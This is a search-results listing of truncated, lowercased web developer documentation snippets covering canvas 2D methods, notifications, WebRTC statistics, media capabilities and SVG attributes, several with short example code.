... html <canvas id="canvas"></canvas> javascript // define canvas and context const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // define the points as {x, y} let start = { x: 50, y: 20 }; let cp1 = { x: 230, y: 30 }; let cp2 = { x: 150, y: 80 }; let end = { x: 250, y: 100 }; // cubic bézier curve ctx.beginpath(); ctx.moveto(start.x, start.y); ctx.
...And 2 more matches
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
the canvasrenderingcontext2d.drawfocusifneeded() method of the canvas 2d api draws a focus ring around the current or given path, if the specified element is focused.
... examples managing button focus this example draws two buttons on a canvas.
... html <canvas id="canvas"> <button id="button1">continue</button> <button id="button2">quit</button> </canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const button1 = document.getelementbyid('button1'); const button2 = document.getelementbyid('button2'); document.addeventlistener('focus', redraw, true); document.addeventlistener('blur', redraw, true); canvas.addeventlistener('click', handleclick, false); redraw(); function redraw() { ctx.clearrect(0, 0, canvas.width, canvas.height); drawbutton(button1, 20, 20); drawbutton(button2, 20, 80); } function handleclick(e) { // calculate click coordinates const x = e.clientx - canvas.offsetleft...
...And 2 more matches
CanvasRenderingContext2D.getTransform() - Web APIs
the canvasrenderingcontext2d.gettransform() method of the canvas 2d api retrieves the current transformation matrix being applied to the context.
... examples in the following example, we have two <canvas> elements.
... we apply a transform to the first one's context using canvasrenderingcontext2d.settransform() and draw a square on it, then retrieve the matrix from it using gettransform().
...And 2 more matches
CanvasRenderingContext2D.globalAlpha - Web APIs
the canvasrenderingcontext2d.globalalpha property of the canvas 2d api specifies the alpha (transparency) value that is applied to shapes and images before they are drawn onto the canvas.
... see also the chapter applying styles and color in the canvas tutorial.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result overlaying transparent shapes this example illustrates the effect of overlaying multiple transparent shapes on top of each...
...And 2 more matches
CanvasRenderingContext2D.isPointInStroke() - Web APIs
the canvasrenderingcontext2d.ispointinstroke() method of the canvas 2d api reports whether or not the specified point is inside the area contained by the stroking of a path.
... html <canvas id="canvas"></canvas> <p>in stroke: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, t...
...his example checks whether the cursor is in the stroke of an elliptical path2d path.
...And 2 more matches
CanvasRenderingContext2D.lineJoin - Web APIs
the canvasrenderingcontext2d.linejoin property of the canvas 2d api determines the shape used to join two line segments where they meet.
... this property has no effect wherever two connected segments have the same direction, because no joining area will be added in this case.
... note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods.
...And 2 more matches
CanvasRenderingContext2D.lineTo() - Web APIs
the canvasrenderingcontext2d method lineto(), part of the canvas 2d api, adds a straight line to the current sub-path by connecting the sub-path's last point to the specified (x, y) coordinates.
...to draw the path onto a canvas, you can use the fill() or stroke() methods.
... html <canvas id="canvas"></canvas> javascript the line begins at (30, 50) and ends at (150, 100).
...And 2 more matches
CanvasRenderingContext2D.miterLimit - Web APIs
the canvasrenderingcontext2d.miterlimit property of the canvas 2d api sets the miter limit ratio.
... for more info about miters, see applying styles and color in the canvas tutorial.
... examples using the miterlimit property see the chapter applying styles and color in the canvas tutorial for more information.
...And 2 more matches
CanvasRenderingContext2D.moveTo() - Web APIs
the canvasrenderingcontext2d.moveto() method of the canvas 2d api begins a new sub-path at the point specified by the given (x, y) coordinates.
... y the y-axis (vertical) coordinate of the point.
...both sub-paths are then rendered with a single stroke() call.
...And 2 more matches
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
the canvasrenderingcontext2d.quadraticcurveto() method of the canvas 2d api adds a quadratic bézier curve to the current sub-path.
...the starting point is the latest point in the current path, which can be changed using moveto() before creating the quadratic bézier curve.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // quadratic bézier curve ctx.beginpath(); ctx.moveto(50, 20); ctx.quadraticcurveto(230, 30, 50, 100); ctx.stroke(); // start and end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(50, 20, 5, 0, 2 * math.pi); // start point ctx.arc(50, 100, 5, 0, 2 * math.pi); // end point ctx.fill(); // cont...
...And 2 more matches
CanvasRenderingContext2D.resetTransform() - Web APIs
the canvasrenderingcontext2d.resettransform() method of the canvas 2d api resets the current transform to the identity matrix.
... html <canvas id="canvas"></canvas> javascript the rotate() method rotates the transformation matrix by 45°.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw a rotated rectangle ctx.rotate(45 * math.pi / 180); ctx.fillrect(60, 0, 100, 30); // reset transformation matrix to the identity matrix ctx.resettransform(); result continuing with a regular matrix whenever you're done drawing transformed shapes, you should call resettransform() before rendering anything else.
...And 2 more matches
CanvasRenderingContext2D.setLineDash() - Web APIs
the setlinedash() method of the canvas 2d api's canvasrenderingcontext2d interface sets the line dash pattern used when stroking lines.
...if the number of elements in the array is odd, the elements of the array get copied and concatenated.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns this example illustrates a variety of common line dash patterns.
...And 2 more matches
CanvasRenderingContext2D.shadowOffsetY - Web APIs
the canvasrenderingcontext2d.shadowoffsety property of the canvas 2d api specifies the distance that shadows will be offset vertically.
... syntax ctx.shadowoffsety = offset; offset a float specifying the distance that shadows will be offset vertically.
...the default value is 0 (no vertical offset).
...And 2 more matches
CanvasRenderingContext2D.strokeRect() - Web APIs
the canvasrenderingcontext2d.strokerect() method of the canvas 2d api draws a rectangle that is stroked (outlined) according to the current strokestyle and other context settings.
... this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
...And 2 more matches
CaretPosition - Web APIs
the caretposition interface represents the caret position, an indicator for the text insertion point.
... you can get a caretposition using the document.caretpositionfrompoint method.
... caretposition.offsetnode read only returns a node containing the found node at the caret's position.
...And 2 more matches
DataTransfer.mozUserCancelled - Web APIs
the datatransfer.mozusercancelled property is used in the dragend event handler to determine if the user canceled the drag or not.
... if the user canceled the event, the property returns true and returns false otherwise.
... syntax datatransfer.mozusercancelled; return value a boolean representing true if the user canceled the drag event and returns false otherwise.
...And 2 more matches
DedicatedWorkerGlobalScope.onmessage - Web APIs
the onmessage property of the dedicatedworkerglobalscope interface represents an eventhandler to be called when the message event occurs and bubbles through the worker — i.e.
... var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside th...
...e worker script you just need onmessage because the worker is effectively the global scope (the dedicatedworkerglobalscope, in this case).
...And 2 more matches
Document.caretRangeFromPoint() - Web APIs
the caretrangefrompoint() method of the document interface returns a range object for the document fragment under the specified coordinates.
... syntax var range = document.caretrangefrompoint(float x, float y); parameters x a horizontal position within the current viewport.
... y a vertical position within the current viewport.
...And 2 more matches
Document.releaseCapture() - Web APIs
the releasecapture() method releases mouse capture if it's currently enabled on an element within this document.
... enabling mouse capture on an element is done by calling element.setcapture().
... syntax document.releasecapture(); once mouse capture is released, mouse events will no longer all be directed to the element on which capture is enabled.
...And 2 more matches
GamepadHapticActuator.pulse() - Web APIs
the pulse() method of the gamepadhapticactuator interface makes the hardware pulse at a certain intensity for a specified duration.
... syntax gamepadhapticactuatorinstance.pulse(value, duration).then(function(result) { ...
...this can vary depending on the hardware type, but generally takes a value between 0.0 (no intensity) and 1.0 (full intensity).
...And 2 more matches
GamepadHapticActuator - Web APIs
the gamepadhapticactuator interface of the gamepad api represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
... this interface is accessible through the gamepad.hapticactuators property.
... properties gamepadhapticactuator.type read only returns an enum representing the type of the haptic hardware.
...And 2 more matches
GeolocationPosition.coords - Web APIs
the geolocationposition.coords read-only property returns a geolocationcoordinates object representing a geographic position.
... it contains the location, that is longitude and latitude on the earth, the altitude, and the speed of the object concerned, regrouped inside the returned value.
... syntax let coord = geolocationpositioninstance.coords value a geolocationcoordinates object instance.
...And 2 more matches
GlobalEventHandlers.oncancel - Web APIs
the oncancel property of the globaleventhandlers mixin is an eventhandler for processing cancel events sent to a <dialog> element.
... the cancel event fires when the user indicates a wish to dismiss a <dialog>.
... syntax target.oncancel = functionref; value functionref is a function name or a function expression.
...And 2 more matches
HTMLCanvasElement.height - Web APIs
the htmlcanvaselement.height property is a positive integer reflecting the height html attribute of the <canvas> element interpreted in css pixels.
... this is one of the two properties, the other being htmlcanvaselement.width, that controls the size of the canvas.
... syntax var pxl = canvas.height; canvas.height = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.height' in that specification.
...And 2 more matches
HTMLCanvasElement.width - Web APIs
the htmlcanvaselement.width property is a positive integer reflecting the width html attribute of the <canvas> element interpreted in css pixels.
... this is one of the two properties, the other being htmlcanvaselement.height, that controls the size of the canvas.
... syntax var pxl = canvas.width; canvas.width = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.width' in that specification.
...And 2 more matches
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
the locale read-only property of the idbindex interface returns the locale of the index (for example en-us, or pl) if it had a locale value specified upon its creation (see createindex()'s optionalparameters.) note that this property always returns the current locale being used in this index, in other words, it never returns "auto".
... syntax var myindex = objectstore.index('index'); console.log(myindex.locale); value a domstring.
... the locale value is logged to the console.
...And 2 more matches
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities() constructor creates a new inputdevicecapabilities object provides information about the physical device responsible for generating a touch event.
... syntax var inputdevicecapabilities = new inputdevicecapabilities([inputdevicecapabilitiesinit]) returns an instance of the inputdevicecapabilities interface.
... parameters inputdevicecapabilitiesinit optional a dictionary object containing a set of device capabilities.
...And 2 more matches
Location: replace() - Web APIs
WebAPILocationreplace
the replace() method of the location interface replaces the current resource with the one at the provided url.
... if the assignment can't happen because of a security violation, a domexception of the security_error type is thrown.
... this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain.
...And 2 more matches
LockedFile.truncate() - Web APIs
summary the truncate method is used to remove some data within the file.
... if the method is called with no argument, the operation removes all the bytes starting at the index set in lockedfile.location.
... if the method is called with an argument, the operation removes all the bytes starting at the index corresponding to the parameter and regardless of the value of lockedfile.location.
...And 2 more matches
MSCandidateWindowHide - Web APIs
mscandidatewindowhide fires after the input method editor (ime) candidate window closes and is fully hidden.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
...And 2 more matches
MediaCapabilities.decodingInfo() - Web APIs
the mediacapabilities.decodinginfo() method, part of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo; this contains the three boolean properties supported, smooth, and powerefficient, which describe whether decoding the media described would be supported, smooth, and powerefficient.
... syntax mediacapabilities.decodinginfo(mediadecodingconfiguration) parameters mediadecodingconfiguration a valid mediadecodingconfiguration dictionary containing a valid media decoding type of file or media-source and a valid media configuration: either an audioconfiguration or a videoconfiguration.
... return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the decodinginfo() method is invalid, either because the type is not video or audio, the contenttype is not a valid codec mime type, the media decoding configuration is not a valid value for the media decoding type, or any other error in the media configuration passed to the method, including omitting values required in the media decoding configuration.
...And 2 more matches
MediaCapabilities.encodingInfo() - Web APIs
the mediacapabilities.encodinginfo() method, part of the mediacapabilities interface of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo; this contains the three boolean properties supported, smooth, and powerefficient, which describe how compatible the device is with the type of media.
... syntax mediacapabilities.encodinginfo(mediaencodingconfiguration) parameters mediaencodingconfiguration a valid mediaencodingconfiguration dictionary containing a valid media encoding type of record or transmission and a valid media configuration: either an audioconfiguration or videoconfiguration dictionary.
... return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the encodinginfo() method is invalid, either because the type is not video or audio, the contenttype is not a valid codec mime type, or any other error in the media configuration passed to the method, including omitting any of the media encoding configuration elements.
...And 2 more matches
MediaCapabilitiesInfo - Web APIs
the mediacapabilitiesinfo interface of the media capabilities api is made available when the promise returned by the mediacapabilities.encodinginfo() or mediacapabilities.decodinginfo() methods of the mediacapabilities interface fulfills, providing information as to whether the media type is supported, and whether encoding or decoding such media would be smooth and power efficient.
... properties the mediacapabilitiesinfo interface contains three boolean attribues: supported: given the properties defined in the mediaconfiguration, can the specified piece of media content be encoded (if mediaencodingconfiguration is set) or decode (if mediadecodingconfiguration is set) at all?
... example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('this configuration is ' + (result.supported ?
...And 2 more matches
MediaTrackSupportedConstraints.echoCancellation - Web APIs
the mediatracksupportedconstraints dictionary's echocancellation property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the echocancellation constraint.
... you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... syntax echocancellationconstraintsupported = supportedconstraintsdictionary.echocancellation; value this property is present in the dictionary (and its value is always true) if the user agent supports the echocancellation constraint.
...And 2 more matches
Metadata.modificationTime - Web APIs
the read-only modificationtime property of the metadata interface is a date object which specifies the date and time the file system entry (or the data referenced by the entry) was last modified.a file system entry is considered to have been modified if the metadata or the contents of the referenced file (or directory, or whatever other kind of file system entry might exist on the platform in use) has changed.
... syntax var modificationtime = metadata.modificationtime; value a date timestamp indicating when the file system entry was last changed.
...once that file has been found, its metadata is obtained and the file's modification timestamp year is compared to the current year.
...And 2 more matches
Navigator.canShare() - Web APIs
the navigator.canshare() method of the web share api returns true if a call to navigator.share() would succeed.
... syntax var canshare = navigator.canshare(data); parameters data optional an object containing data to share that matches what you would pass to navigator.share().
...true if data can be shared with navigator.share().
...And 2 more matches
Navigator.mozIsLocallyAvailable() - Web APIs
the navigator.mozislocallyavailable() method allows add-ons to determine whether or not a given resource is available.
... note: security exceptions can occur if the requested uri is not from the same origin.
... syntax navigator.mozislocallyavailable(uri, ifoffline); parameters uri the uri of the resource whose availability is to be checked, as a string.
...And 2 more matches
Notification.actions - Web APIs
the actions read-only property of the notification interface returns the list of notificationaction objects set using the actions option when creating the notification using the notification() constructor.
... this is a list of the application-defined actions the user can choose to take immediately within the context of a notification.
...this limit can be infered from notification.maxactions.
...And 2 more matches
Notification.data - Web APIs
WebAPINotificationdata
the data read-only property of the notification interface returns a structured clone of the notification's data, as specified in the data option of the notification() constructor.
... the notification's data can be any arbitrary data that you want associated with the notification.
... syntax var data = notification.data; value a structured clone.
...And 2 more matches
Notification.renotify - Web APIs
the renotify read-only property of the notification interface specifies whether the user should be notified after a new notification replaces an old one, as specified in the renotify option of the notification() constructor.
... syntax var renotify = notification.renotify; value a boolean.
... false is the default; true makes the notification renotify the user.
...And 2 more matches
Notification.timestamp - Web APIs
the timestamp read-only property of the notification interface returns a domtimestamp, as specified in the timestamp option of the notification() constructor.
... the notification's timestamp can represent the time, in milliseconds since 00:00:00 utc on 1 january 1970, of the event for which the notification was created, or it can be an arbitrary timestamp that you want associated with the notification.
... syntax var timestamp = notification.timestamp; value a domtimestamp.
...And 2 more matches
Notification.vibrate - Web APIs
the vibrate read-only property of the notification interface specifies a a vibration pattern for the device's vibration hardware to emit when the notification fires.
... this is specified in the vibrate option of the notification() constructor.
... syntax var vibrate = notification.vibrate; value a vibration pattern, as specified in the vibration api spec.
...And 2 more matches
OffscreenCanvas() - Web APIs
the offscreencanvas() constructor returns a newly instantiated offscreencanvas object.
... syntax new offscreencanvas(width, height); parameters width the width of the offscreen canvas.
... height the height of the offscreen canvas.
...And 2 more matches
RTCIceCandidateInit.sdpMLineIndex - Web APIs
the optional property sdpmlineindex in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's sdpmlineindex property.
... value a number containing a 0-based index into the set of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available.
... note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
...And 2 more matches
RTCIceCandidateInit.sdpMid - Web APIs
the optional property sdpmid in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's sdpmid property.
... value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
... note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception.
...And 2 more matches
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
the rtcicecandidatepairstats property circuitbreakertriggercount indicates the number of times the circuit-breaker has been triggered to indicate a connection timeout or other unexpected connection abort on this specific connection configuration.
... a circuit breaker trigger is fired each time the connection times out or otherwise needs to be halted automatically.
... syntax cbtcount = rtcicecandidatepairstats.circuitbreakertriggercount; value an integer value indicating the number of times the circuit-breaker has been triggered for the 5-tuple used by this connection.
...And 2 more matches
RTCIceCandidatePairStats.packetsReceived - Web APIs
the rtcicecandidatepairstats dictionary's packetsreceived property indicates the total number of packets of any kind that have been received on the connection described by the pair of candidates.
... the number of packets sent to date on the connection can be obtained using packetssent.
... syntax packetsreceived = rtcicecandidatepairstats.packetsreceived; value an integer value indicating the total number of packets, of any kind, which have been received on the connection described by the two candidates comprising this pair.
...And 2 more matches
RTCIceCandidatePairStats.packetsSent - Web APIs
the rtcicecandidatepairstats dictionary's packetssent property indicates the total number of packets which have been sent on the connection described by the pair of candidates.
... the number of packets received to date on the connection can be obtained using packetsreceived.
... syntax packetssent = rtcicecandidatepairstats.packetssent; value an integer value indicating the total number of packets, of any kind, which have been sent on the connection described by the two candidates comprising this pair.
...And 2 more matches
RTCIceCandidatePairStats.requestsReceived - Web APIs
the rtcicecandidatepairstats dictionary's requestsreceived property indicates the total number of stun connectivity check requests that have been received so far on the connection described by this pairing of candidates.
... syntax requestsreceived = rtcicecandidatepairstats.requestsreceived; value an integer value which specifies the number of stun connectivity and/or consent requests that have been received to date on the connection described by this pair of ice candidates.
... because there's no way to tell the difference between requests made to check connectivity and requests made to check consent, the returned figure includes both.
...And 2 more matches
RTCIceCandidateStats.address - Web APIs
the address property of the rtcicecandidatestats dictionary indicates the address of the ice candidate.
... while it's preferred that the address be specified as an ipv4 or ipv6 numeric address, a fully-qualified domain name can be used as well.
... syntax candidateaddress = rtcicecandidatestats.address; value either an ipv4 or ipv6 address or a fully-qualified domain name, which corresponds to the candidate.
...And 2 more matches
RTCIceCandidateStats.transportId - Web APIs
the rtcicecandidatestats dictionary's transportid property is a string that uniquely identifies the transport that produced the rtctransportstats from which information about this candidate was taken.
... syntax transportid = rtcicecandidatestats.transportid; value a domstring whose value uniquely identifies the transport from which any transport-related information accumulated in the rtcicecandidatestats was taken.
... this can be used to compare candidates that would use the same transport, for example.
...And 2 more matches
RTCPeerConnection.localDescription - Web APIs
the read-only property rtcpeerconnection.localdescription returns an rtcsessiondescription describing the session for the local end of the connection.
... syntax var sessiondescription = peerconnection.localdescription; on a more fundamental level, the returned value is the value of rtcpeerconnection.pendinglocaldescription if that property isn't null; otherwise, the value of rtcpeerconnection.currentlocaldescription is returned.
... example this example looks at the localdescription and displays an alert containing the rtcsessiondescription object's type and sdp fields.
...And 2 more matches
SVGFEFuncAElement - Web APIs
the svgfefuncaelement interface corresponds to the <fefunca> element.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
...e4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncaelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interf...
...And 2 more matches
WebGL2RenderingContext.getFragDataLocation() - Web APIs
the webgl2renderingcontext.getfragdatalocation() method of the webgl 2 api returns the binding of color numbers to user-defined varying out variables.
... syntax glint gl.getfragdatalocation(program, name); parameters program a webglprogram to query.
... return value a glint indicating the assigned color number binding, or -1 otherwise.
...And 2 more matches
WebGLRenderingContext.bindAttribLocation() - Web APIs
the webglrenderingcontext.bindattriblocation() method of the webgl api binds a generic vertex index to an attribute variable.
... syntax void gl.bindattriblocation(program, index, name); parameters program a webglprogram object to bind.
...this name cannot start with "webgl_" or "_webgl_", as these are reserved for use by webgl.
...And 2 more matches
WebGLRenderingContext.canvas - Web APIs
the webglrenderingcontext.canvas property is a read-only reference to the htmlcanvaselement or offscreencanvas object that is associated with the context.
... it might be null if it is not associated with a <canvas> element or an offscreencanvas object.
... syntax gl.canvas; return value either a htmlcanvaselement or offscreencanvas object or null.
...And 2 more matches
window.cancelAnimationFrame() - Web APIs
the window.cancelanimationframe() method cancels an animation frame request previously scheduled through a call to window.requestanimationframe().
... syntax window.cancelanimationframe(requestid); parameters requestid the id value returned by the call to window.requestanimationframe() that requested the callback.
... examples var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var start = window.mozanimationstarttime; // only supported in ff.
...And 2 more matches
msCaching - Web APIs
WebAPImsCaching
the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
... syntax cachestate = object.mscaching values type: domstring property value description auto disables caching for stream or ms-stream data.
... enabled enables caching for stream or ms-stream data.
...And 2 more matches
msCachingEnabled - Web APIs
the mscachingenabled method gets the current caching state for an xmlhttprequest.
... syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean.
... if true, xmlhttprequest is cached to disk.
...And 2 more matches
Feature-Policy: display-capture - HTTP
the http feature-policy header display-capture directive controls whether or not the document is permitted to use screen capture api, i.e.,getdisplaymedia() to capture the screen's contents.
... if display-capture is disabled in a document, the document will not be able to initiate screen capture via getdisplaymedia().
... syntax feature-policy: display-capture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
...And 2 more matches
String.prototype.toLowerCase() - JavaScript
the tolowercase() method returns the calling string value converted to lower case.
... syntax str.tolowercase() return value a new string representing the calling string converted to lower case.
... description the tolowercase() method returns the value of the string converted to lower case.
...And 2 more matches
SVG Conditional Processing Attributes - SVG: Scalable Vector Graphics
the svg conditional processing attributes are all the attributes that can be specified on some svg elements to control whether or not the element on which it appears should be rendered.
... externalresourcesrequired requiredextensions requiredfeatures systemlanguage attributes externalresourcesrequired deprecated since svg 2 if set to true, it indicates that the browser must wait for all the external resources necessary to render that element to be loaded before processing the associated element.
... value: false|true; animatable: no requiredextensions list all the browser specific capabilities that must be supported by the borwser to be allowed to render the associated element.
...And 2 more matches
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
you can use this class to style svg content using css.
... usage context categories none value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values.
... unless explicitly described differently, lists within svg's xml attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated.
...And 2 more matches
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
unitless values, which indicate current user coordinates, are permitted on the coordinate values on the rect().
... as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is deprecated.
... specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
...And 2 more matches
clipPathUnits - SVG: Scalable Vector Graphics
the clippathunits attribute indicates which coordinate system to use for the contents of the <clippath> element.
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that all coordinates inside the <clippath> element refer to the user coordinate system as defined when the clipping path was created.
... objectboundingbox this value indicates that all coordinates inside the <clippath> element are relative to the bounding box of the element the clipping path is applied to.
...And 2 more matches
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
note: as a presentation attribute, color can be used as a css property.
... as a presentation attribute, it can be applied to any element, but as noted above, it has no direct effect on svg elements.
...color> | inherit default value depends on user agent animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
...And 2 more matches
flood-color - SVG: Scalable Vector Graphics
the flood-color attribute indicates what color to use to flood the current filter primitive subregion.
... note: as a presentation attribute, flood-color can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value color initial value black animatable yes specifications specif...
...And 2 more matches
font-stretch - SVG: Scalable Vector Graphics
the font-stretch attribute indicates the desired amount of condensing or expansion in the glyphs used to render the text.
... note: as a presentation attribute, font-stretch can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> usage notes value <font-stretch-absolute>where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> default value normal animatable yes specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
...And 2 more matches
font-style - SVG: Scalable Vector Graphics
note: as a presentation attribute, font-style can be used as a css property.
... as a presentation attribute, it can be applied to any element but only has an effect on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property.
... specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
...And 2 more matches
font-weight - SVG: Scalable Vector Graphics
note: as a presentation attribute, font-weight can be used as a css property.
